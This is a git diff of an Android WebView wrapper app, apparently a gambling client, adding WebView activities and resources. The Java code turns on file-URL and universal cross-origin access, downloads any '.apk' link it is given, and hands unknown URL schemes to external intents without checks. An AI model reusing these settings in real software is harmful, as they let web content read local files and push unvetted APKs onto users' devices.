webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public boolean onConsoleMessage(ConsoleMessage consoleMessage) { + LogUtils.d("consolemessage==" + consoleMessage.message()); + return true; + } + + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + } + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebView2Activity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebView2Activity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + webView.goBack(); + } else {//不能返回了 + WebView2Activity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/base_Fachai8hk/src/main/java/com/web/base/WebViewActivity.java b/base_Fachai8hk/src/main/java/com/web/base/WebViewActivity.java new file mode 100644 index 0000000..e8aa8a4 --- /dev/null +++ b/base_Fachai8hk/src/main/java/com/web/base/WebViewActivity.java @@ -0,0 +1,451 @@ +package com.web.base; + + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + + +public class WebViewActivity extends AppCompatActivity { + + private String url; + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + ImageView menu_iv; + private ImageView helpIv; + private LinearLayout showTopLy; + private FrameLayout videoContainer; + private ImageView backIv; + private ProgressBar progressBar; + private View topVvvv; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + url = getIntent().getStringExtra("url"); + initView(); + } + + private ValueCallback mUploadCallbackForHighApi; + + public void initView() { + topVvvv = (View) findViewById(R.id.top_vvvv); + webView = findViewById(R.id.webview); + show_top_v = findViewById(R.id.show_top_v); + showTopLy = findViewById(R.id.show_top_ly); + tvErrorMsg = findViewById(R.id.errormsg); + layoutError = findViewById(R.id.layoutError); + videoContainer = (FrameLayout) findViewById(R.id.videoContainer); + backIv = (ImageView) findViewById(R.id.back_iv); + progressBar = (ProgressBar) findViewById(R.id.progressbar); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(false); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(false); + + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + +// settings.setBuiltInZoomControls(false); // 启用缩放功能 +// settings.setDisplayZoomControls(false); // 隐藏缩放控件 + + + webView.setWebChromeClient(new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) { + + WebView newWebView = new WebView(WebViewActivity.this); + topVvvv.setVisibility(View.VISIBLE); + webView.addView(newWebView); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; + progressBar.setVisibility(View.GONE); + webView.loadUrl(url); + return true; + } + }); + + // WebView newWebView = new WebView(view.getContext()); +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// Intent browserIntent = new Intent(WebViewActivity.this, WebViewActivity.class); +// browserIntent.putExtra("url", url); +// startActivity(browserIntent); +// return true; +// } +// }); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// return true; + return true; + } + + + // @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + + }); + webView.setWebViewClient(new WebViewClient() { + + + @Override + public void onPageFinished(WebView view, String url) { + super.onPageFinished(view, url); + showTopLy.setVisibility(View.GONE); + progressBar.setVisibility(View.GONE); + topVvvv.setVisibility(View.VISIBLE); + + } + + @Override + public void onPageStarted(WebView view, String url, Bitmap favicon) { + super.onPageStarted(view, url, favicon); + progressBar.setVisibility(View.VISIBLE); + topVvvv.setVisibility(View.VISIBLE); + } + + @Override + public void onReceivedError(WebView view, WebResourceRequest request, WebResourceError error) { + super.onReceivedError(view, request, error); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + int errorCode = error.getErrorCode(); + String errorMessage = error.getDescription().toString(); + String currentUrl = request.getUrl().toString(); + LogUtils.d("onReceivedError2 url==" + url + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && currentUrl.contains(url)) { + onShowErrorView(errorMessage); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + } + + @Override + public void onReceivedError(WebView view, int errorCode, String description, String failingUrl) { + super.onReceivedError(view, errorCode, description, failingUrl); + if (Build.VERSION.SDK_INT < Build.VERSION_CODES.M) { + LogUtils.d("onReceivedError2 url==" + failingUrl + " errorCode ==" + errorCode); + if ((errorCode == -2 || errorCode == -6) && failingUrl.contains(url)) { + onShowErrorView(description); + } else { + onShowNetView(); + } + } + progressBar.setVisibility(View.GONE); + + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, WebResourceRequest request) { + + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = request.getUrl(); + } else { + uri = Uri.parse(request.toString()); + } + String url1 = uri.toString(); + LogUtils.d("url1111111111==" + url1); + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + Toast.makeText(WebViewActivity.this, "下载开始,请稍后...", Toast.LENGTH_SHORT).show(); +// Constants.isUpdate = false; + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + LogUtils.d("url1111111111==2" + url1); + webView.loadUrl(url1); + return true; + } + + } + return false; + } + + + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url1) { + if (url1.equals(url + "index") || url1.equals(url + "/index")) { + topVvvv.setVisibility(View.GONE); + } else { + progressBar.setVisibility(View.VISIBLE); + } + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + + if ((url1.equals(url + "index") || url1.equals(url + "/index")) && webView.canGoBack()) { + return false; + } else { + if (url1.contains(".apk")) { //下载 + new AppUpdater(WebViewActivity.this, url1).start(); + return false; + } + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return false; + } + + } + + return false; + } + + + }); + webView.setOnGenericMotionListener(new View.OnGenericMotionListener() { + @Override + public boolean onGenericMotion(View view, MotionEvent motionEvent) { + return false; + } + }); + +// webView.setOnTouchListener(new View.OnTouchListener() { +// @Override +// public boolean onTouch(View view, MotionEvent motionEvent) { +// if (motionEvent.getAction() == MotionEvent.ACTION_DOWN) { +// webView.loadUrl("javascript:_IntervalResize(+\" + view + \",false)"); +// return true; +// } else { +// return false; +// } +// } +// }); + +// webView.onWindowFocusChanged(true); +// webView.setOnFocusChangeListener(new View.OnFocusChangeListener() { +// @Override +// public void onFocusChange(View view, boolean b) { +// LogUtils.d("B==" + b); +// view.invalidate(); +// } +// }); + if (url != null) { + webView.loadUrl(url); + } + } + + + @RequiresApi(api = Build.VERSION_CODES.Q) + @Override + protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { + super.onActivityResult(requestCode, resultCode, data); + switch (requestCode) { + case REQUEST_CODE_FILE_CHOOSER: + if (resultCode == RESULT_OK || resultCode == RESULT_CANCELED) { + afterFileChooseGoing(resultCode, data); + } + break; + + + } + } + + + /** + * onActivityResult方法 + */ + + private void afterFileChooseGoing(int resultCode, Intent data) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + if (mUploadCallbackForHighApi == null) { + return; + } + mUploadCallbackForHighApi.onReceiveValue(WebChromeClient.FileChooserParams.parseResult(resultCode, data)); + mUploadCallbackForHighApi = null; + } else { + if (mUploadCallbackForLowApi == null) { + return; + } + Uri result = data == null ? null : data.getData(); + mUploadCallbackForLowApi.onReceiveValue(result); + mUploadCallbackForLowApi = null; + } + } + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private boolean isNetError = false; + + public void onShowErrorView(String errorMsg) { //网络不可用的情况 + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.GONE); + layoutError.setVisibility(View.VISIBLE); + tvErrorMsg.setText(errorMsg); + showTopLy.setVisibility(View.GONE); + isNetError = true; + + } + + public void onShowNetView() { + topVvvv.setVisibility(View.VISIBLE); + webView.setVisibility(View.VISIBLE); + layoutError.setVisibility(View.GONE); + showTopLy.setVisibility(View.GONE); + isNetError = false; + } + + + @Override + public void onBackPressed() { + if (webView.canGoBack()) {//当webview有多级能返回的时候 + onShowNetView(); + webView.goBack(); + } else {//不能返回了 + WebViewActivity.this.finish(); + } + } + + @Override + protected void onDestroy() { + if (webView != null) { + //加载null内容 + // webView.loadDataWithBaseURL(null, "", "text/html", "utf-8", null); + //清除历史记录 + // webView.clearHistory(); + //移除WebView +// ((ViewGroup) webView.getParent()).removeView(webView); + //销毁VebView + webView.destroy(); + } + super.onDestroy(); + } +} diff --git a/Dmcslot/src/main/java/com/web/dmcslot/WithDrawListInfo.java b/base_Fachai8hk/src/main/java/com/web/base/WithDrawListInfo.java similarity index 98% rename from Dmcslot/src/main/java/com/web/dmcslot/WithDrawListInfo.java rename to base_Fachai8hk/src/main/java/com/web/base/WithDrawListInfo.java index 3471d52..b8bd76e 100644 --- a/Dmcslot/src/main/java/com/web/dmcslot/WithDrawListInfo.java +++ b/base_Fachai8hk/src/main/java/com/web/base/WithDrawListInfo.java @@ -1,4 +1,4 @@ -package com.web.dmcslot; +package com.web.base; import java.io.Serializable; import java.util.List; diff --git a/base_Fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml b/base_Fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/base_Fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png b/base_Fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/base_Fachai8hk/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/base_Fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png b/base_Fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/base_Fachai8hk/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/base_Fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml b/base_Fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png b/base_Fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/base_Fachai8hk/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/base_Fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png b/base_Fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/base_Fachai8hk/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/base_Fachai8hk/src/main/res/drawable/ic_launcher_background.xml b/base_Fachai8hk/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/base_Fachai8hk/src/main/res/drawable/input_bg.xml b/base_Fachai8hk/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_Fachai8hk/src/main/res/drawable/pass_word_bg.xml b/base_Fachai8hk/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/base_Fachai8hk/src/main/res/drawable/pass_word_bg1.xml b/base_Fachai8hk/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..83b8c14 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/pass_word_bg2.xml b/base_Fachai8hk/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/shape_btn_bg.xml b/base_Fachai8hk/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/drawable/shape_notify_typebg.xml b/base_Fachai8hk/src/main/res/drawable/shape_notify_typebg.xml new file mode 100644 index 0000000..3da849f --- /dev/null +++ b/base_Fachai8hk/src/main/res/drawable/shape_notify_typebg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/Dmcslot/src/main/res/layout/activity_main.xml b/base_Fachai8hk/src/main/res/layout/activity_main.xml similarity index 100% rename from Dmcslot/src/main/res/layout/activity_main.xml rename to base_Fachai8hk/src/main/res/layout/activity_main.xml diff --git a/base_Fachai8hk/src/main/res/layout/activity_main2.xml b/base_Fachai8hk/src/main/res/layout/activity_main2.xml new file mode 100644 index 0000000..f5e09aa --- /dev/null +++ b/base_Fachai8hk/src/main/res/layout/activity_main2.xml @@ -0,0 +1,423 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Dmcslot/src/main/res/layout/activity_main3.xml b/base_Fachai8hk/src/main/res/layout/activity_main3.xml similarity index 97% rename from Dmcslot/src/main/res/layout/activity_main3.xml rename to base_Fachai8hk/src/main/res/layout/activity_main3.xml index 0da4207..6385b31 100644 --- a/Dmcslot/src/main/res/layout/activity_main3.xml +++ b/base_Fachai8hk/src/main/res/layout/activity_main3.xml @@ -7,7 +7,7 @@ android:layout_height="match_parent" android:orientation="vertical"> - - - + + + + + + + + + + + + + + + diff --git a/Dmcslot/src/main/res/layout/activity_start.xml b/base_Fachai8hk/src/main/res/layout/activity_start.xml similarity index 100% rename from Dmcslot/src/main/res/layout/activity_start.xml rename to base_Fachai8hk/src/main/res/layout/activity_start.xml diff --git a/Dmcslot/src/main/res/layout/activity_webview.xml b/base_Fachai8hk/src/main/res/layout/activity_webview.xml similarity index 97% rename from Dmcslot/src/main/res/layout/activity_webview.xml rename to base_Fachai8hk/src/main/res/layout/activity_webview.xml index f52274e..b229360 100644 --- a/Dmcslot/src/main/res/layout/activity_webview.xml +++ b/base_Fachai8hk/src/main/res/layout/activity_webview.xml @@ -8,7 +8,7 @@ android:keepScreenOn="true" android:orientation="vertical"> - - + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/Dmcslot/src/main/res/layout/item_withdraw_records.xml b/base_Fachai8hk/src/main/res/layout/item_withdraw_records.xml similarity index 100% rename from Dmcslot/src/main/res/layout/item_withdraw_records.xml rename to base_Fachai8hk/src/main/res/layout/item_withdraw_records.xml diff --git a/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/base_Fachai8hk/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png b/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png b/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email1.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email1.png new file mode 100644 index 0000000..9fc3a42 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_email1.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_facebook.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_facebook.png new file mode 100644 index 0000000..de378dc Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_facebook.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_hometo.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_hometo.png new file mode 100644 index 0000000..4e93043 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_hometo.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_link.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_link.png new file mode 100644 index 0000000..2f98612 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_link.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_email.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_email.png new file mode 100644 index 0000000..5a2df8e Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_email.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_normal.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_normal.png new file mode 100644 index 0000000..f056d32 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_normal.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_shangla.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_shangla.png new file mode 100644 index 0000000..eb1d3e9 Binary files /dev/null and b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_shangla.png differ diff --git a/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_xiala.png b/base_Fachai8hk/src/main/res/mipmap-xhdpi/ic_notify_xiala.png new file mode 100644 index 0000000..7999f63 Binary files /dev/null and 